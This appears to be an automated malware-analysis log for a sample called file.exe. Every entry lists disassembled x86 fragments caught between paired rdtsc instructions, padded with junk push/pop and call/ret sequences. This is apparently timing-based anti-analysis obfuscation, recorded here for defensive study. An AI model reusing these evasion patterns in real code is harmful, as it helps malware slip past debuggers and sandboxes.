Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F3E88 second address: 6F3E91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edi 0x00000007 pop edi 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F3E91 second address: 6F3E9D instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB8A0B1007Eh 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F9833 second address: 6F9840 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 js 00007FB8A0D84C9Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F9840 second address: 6F9849 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F9849 second address: 6F9851 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F908B second address: 6F90AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8A0B10081h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d je 00007FB8A0B10076h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F90AC second address: 6F90B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F9566 second address: 6F9582 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8A0B10088h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FAC7B second address: 6FACBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 add dword ptr [esp], 44B2CEFFh 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007FB8A0D84C98h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 00000019h 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 push 16394588h 0x0000002d push eax 0x0000002e push edx 0x0000002f jne 00007FB8A0D84C9Ch 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FB27D second address: 6FB287 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FB8A0B10076h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FB287 second address: 6FB28B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FB28B second address: 6FB29C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FB29C second address: 6FB2A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FB8A0D84C96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FBB72 second address: 6FBB89 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB8A0B10078h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jo 00007FB8A0B10078h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FDF5E second address: 6FDF75 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8A0D84CA3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FCBDC second address: 6FCBF3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8A0B1007Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FD6A6 second address: 6FD6B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FD6B2 second address: 6FD6C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8A0B1007Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FEB56 second address: 6FEB60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FEB60 second address: 6FEBC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pop edx 0x0000000c push ebx 0x0000000d jl 00007FB8A0B10076h 0x00000013 pop ebx 0x00000014 popad 0x00000015 nop 0x00000016 mov esi, dword ptr [ebp+122D36EAh] 0x0000001c push 00000000h 0x0000001e ja 00007FB8A0B10079h 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push ecx 0x00000029 call 00007FB8A0B10078h 0x0000002e pop ecx 0x0000002f mov dword ptr [esp+04h], ecx 0x00000033 add dword ptr [esp+04h], 00000014h 0x0000003b inc ecx 0x0000003c push ecx 0x0000003d ret 0x0000003e pop ecx 0x0000003f ret 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007FB8A0B10089h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FF759 second address: 6FF770 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007FB8A0D84C9Bh 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 700208 second address: 70020C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 700D7E second address: 700D98 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FB8A0D84C9Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jo 00007FB8A0D84CABh 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 701987 second address: 701990 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 701990 second address: 701994 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 700AF0 second address: 700AFD instructions: 0x00000000 rdtsc 0x00000002 jne 00007FB8A0B10076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 705D5D second address: 705D62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 705D62 second address: 705D67 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70620B second address: 706215 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FB8A0D84C9Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 706215 second address: 70627C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push eax 0x0000000c call 00007FB8A0B10078h 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 add dword ptr [esp+04h], 0000001Bh 0x0000001e inc eax 0x0000001f push eax 0x00000020 ret 0x00000021 pop eax 0x00000022 ret 0x00000023 mov ebx, dword ptr [ebp+122D3722h] 0x00000029 push 00000000h 0x0000002b mov edi, dword ptr [ebp+122D204Ah] 0x00000031 push 00000000h 0x00000033 or di, D362h 0x00000038 xchg eax, esi 0x00000039 push ecx 0x0000003a jmp 00007FB8A0B10089h 0x0000003f pop ecx 0x00000040 push eax 0x00000041 pushad 0x00000042 push esi 0x00000043 push eax 0x00000044 pop eax 0x00000045 pop esi 0x00000046 push eax 0x00000047 push edx 0x00000048 pushad 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 709805 second address: 709809 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70C6F8 second address: 70C6FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70C6FD second address: 70C721 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB8A0D84CA2h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d js 00007FB8A0D84CA0h 0x00000013 push eax 0x00000014 push edx 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 706460 second address: 706464 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D7DD second address: 70D7EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D7EB second address: 70D7EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D7EF second address: 70D7F5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70E7A8 second address: 70E7AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70E7AE second address: 70E7EF instructions: 0x00000000 rdtsc 0x00000002 je 00007FB8A0D84C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push esi 0x0000000e mov di, C5B4h 0x00000012 pop ebx 0x00000013 push 00000000h 0x00000015 movsx edi, cx 0x00000018 push 00000000h 0x0000001a sbb bx, 9EC0h 0x0000001f push eax 0x00000020 pushad 0x00000021 pushad 0x00000022 jmp 00007FB8A0D84CA3h 0x00000027 jbe 00007FB8A0D84C96h 0x0000002d popad 0x0000002e pushad 0x0000002f push eax 0x00000030 pop eax 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 708B8F second address: 708B93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 708B93 second address: 708B97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70F8EF second address: 70F8F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70F8F3 second address: 70F8F9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70F8F9 second address: 70F925 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB8A0B10081h 0x00000008 jmp 00007FB8A0B1007Bh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push edi 0x00000014 pop edi 0x00000015 jmp 00007FB8A0B10080h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 709B2E second address: 709B4A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8A0D84C9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b jc 00007FB8A0D84CA0h 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70A9D4 second address: 70A9EB instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FB8A0B10078h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jbe 00007FB8A0B10078h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70A9EB second address: 70A9F5 instructions: 0x00000000 rdtsc 0x00000002 je 00007FB8A0D84C9Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70A9F5 second address: 70AAA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 mov dword ptr [ebp+1245018Fh], ebx 0x0000000d push dword ptr fs:[00000000h] 0x00000014 jno 00007FB8A0B1007Ah 0x0000001a mov dword ptr fs:[00000000h], esp 0x00000021 push 00000000h 0x00000023 push ebx 0x00000024 call 00007FB8A0B10078h 0x00000029 pop ebx 0x0000002a mov dword ptr [esp+04h], ebx 0x0000002e add dword ptr [esp+04h], 00000018h 0x00000036 inc ebx 0x00000037 push ebx 0x00000038 ret 0x00000039 pop ebx 0x0000003a ret 0x0000003b js 00007FB8A0B1007Eh 0x00000041 jg 00007FB8A0B10078h 0x00000047 mov eax, dword ptr [ebp+122D0A15h] 0x0000004d push 00000000h 0x0000004f push ebx 0x00000050 call 00007FB8A0B10078h 0x00000055 pop ebx 0x00000056 mov dword ptr [esp+04h], ebx 0x0000005a add dword ptr [esp+04h], 00000015h 0x00000062 inc ebx 0x00000063 push ebx 0x00000064 ret 0x00000065 pop ebx 0x00000066 ret 0x00000067 mov edi, 66F1844Dh 0x0000006c xor bx, 5996h 0x00000071 push FFFFFFFFh 0x00000073 call 00007FB8A0B1007Fh 0x00000078 jl 00007FB8A0B1007Ch 0x0000007e pop edi 0x0000007f push eax 0x00000080 pushad 0x00000081 jmp 00007FB8A0B1007Ch 0x00000086 push edi 0x00000087 push eax 0x00000088 push edx 0x00000089 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70B940 second address: 70B946 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70EA82 second address: 70EA86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70EA86 second address: 70EA8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 716947 second address: 716958 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB8A0B1007Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 716958 second address: 71695C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 711A76 second address: 711A7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 715A51 second address: 715A55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 715A55 second address: 715ADE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push esi 0x0000000b call 00007FB8A0B10078h 0x00000010 pop esi 0x00000011 mov dword ptr [esp+04h], esi 0x00000015 add dword ptr [esp+04h], 00000015h 0x0000001d inc esi 0x0000001e push esi 0x0000001f ret 0x00000020 pop esi 0x00000021 ret 0x00000022 mov dword ptr [ebp+122D2871h], ebx 0x00000028 push dword ptr fs:[00000000h] 0x0000002f and di, 9DB5h 0x00000034 mov dword ptr fs:[00000000h], esp 0x0000003b xor dword ptr [ebp+122D1DF6h], ebx 0x00000041 mov eax, dword ptr [ebp+122D052Dh] 0x00000047 mov dword ptr [ebp+1247B022h], eax 0x0000004d mov ebx, edi 0x0000004f push FFFFFFFFh 0x00000051 push 00000000h 0x00000053 push edx 0x00000054 call 00007FB8A0B10078h 0x00000059 pop edx 0x0000005a mov dword ptr [esp+04h], edx 0x0000005e add dword ptr [esp+04h], 00000016h 0x00000066 inc edx 0x00000067 push edx 0x00000068 ret 0x00000069 pop edx 0x0000006a ret 0x0000006b nop 0x0000006c jmp 00007FB8A0B1007Fh 0x00000071 push eax 0x00000072 push eax 0x00000073 push edx 0x00000074 push eax 0x00000075 push edx 0x00000076 push edi 0x00000077 pop edi 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 715ADE second address: 715AF7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8A0D84CA5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 715AF7 second address: 715B01 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB8A0B1007Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70FABE second address: 70FB5F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8A0D84CA4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ecx 0x0000000d call 00007FB8A0D84C98h 0x00000012 pop ecx 0x00000013 mov dword ptr [esp+04h], ecx 0x00000017 add dword ptr [esp+04h], 0000001Bh 0x0000001f inc ecx 0x00000020 push ecx 0x00000021 ret 0x00000022 pop ecx 0x00000023 ret 0x00000024 or dword ptr [ebp+1244E9D2h], ebx 0x0000002a mov edi, dword ptr [ebp+122D26CCh] 0x00000030 push dword ptr fs:[00000000h] 0x00000037 mov dword ptr [ebp+122D26CCh], edx 0x0000003d mov dword ptr fs:[00000000h], esp 0x00000044 mov edi, edx 0x00000046 mov eax, dword ptr [ebp+122D0011h] 0x0000004c mov edi, edx 0x0000004e mov edi, dword ptr [ebp+122D2291h] 0x00000054 push FFFFFFFFh 0x00000056 add bx, 8116h 0x0000005b mov edi, 1B4E30DBh 0x00000060 nop 0x00000061 je 00007FB8A0D84C9Ch 0x00000067 pushad 0x00000068 push esi 0x00000069 pop esi 0x0000006a pushad 0x0000006b popad 0x0000006c popad 0x0000006d push eax 0x0000006e push eax 0x0000006f push edx 0x00000070 pushad 0x00000071 jmp 00007FB8A0D84CA1h 0x00000076 jnc 00007FB8A0D84C96h 0x0000007c popad 0x0000007d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 716B07 second address: 716B0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71F706 second address: 71F70C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71F185 second address: 71F18A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 729D4E second address: 729D54 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 729D54 second address: 729D5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72A2E1 second address: 72A2EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push edx 0x00000007 pop edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72A2EA second address: 72A304 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB8A0B10080h 0x00000009 jng 00007FB8A0B10076h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72A304 second address: 72A30F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72A476 second address: 72A482 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FB8A0B10076h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72A482 second address: 72A49A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FB8A0D84CA2h 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72A49A second address: 72A49E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72A75F second address: 72A763 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72A8CD second address: 72A8DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72A8DA second address: 72A8E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FB8A0D84C96h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72AA2D second address: 72AA31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72ABAA second address: 72ABE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB8A0D84CA1h 0x00000009 popad 0x0000000a pushad 0x0000000b js 00007FB8A0D84C96h 0x00000011 pushad 0x00000012 popad 0x00000013 jne 00007FB8A0D84C96h 0x00000019 popad 0x0000001a popad 0x0000001b pushad 0x0000001c push esi 0x0000001d push ebx 0x0000001e pop ebx 0x0000001f jl 00007FB8A0D84C96h 0x00000025 pop esi 0x00000026 push edx 0x00000027 push esi 0x00000028 pop esi 0x00000029 pop edx 0x0000002a push esi 0x0000002b push ebx 0x0000002c pop ebx 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72AE84 second address: 72AE88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72AE88 second address: 72AE90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 730CF0 second address: 730CF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72FA42 second address: 72FA48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72FBDC second address: 72FBEA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8A0B1007Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72FECE second address: 72FED9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007FB8A0D84C96h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 730526 second address: 73052E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7307B7 second address: 7307CC instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FB8A0D84C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FB8A0D84C9Bh 0x0000000f rdtsc
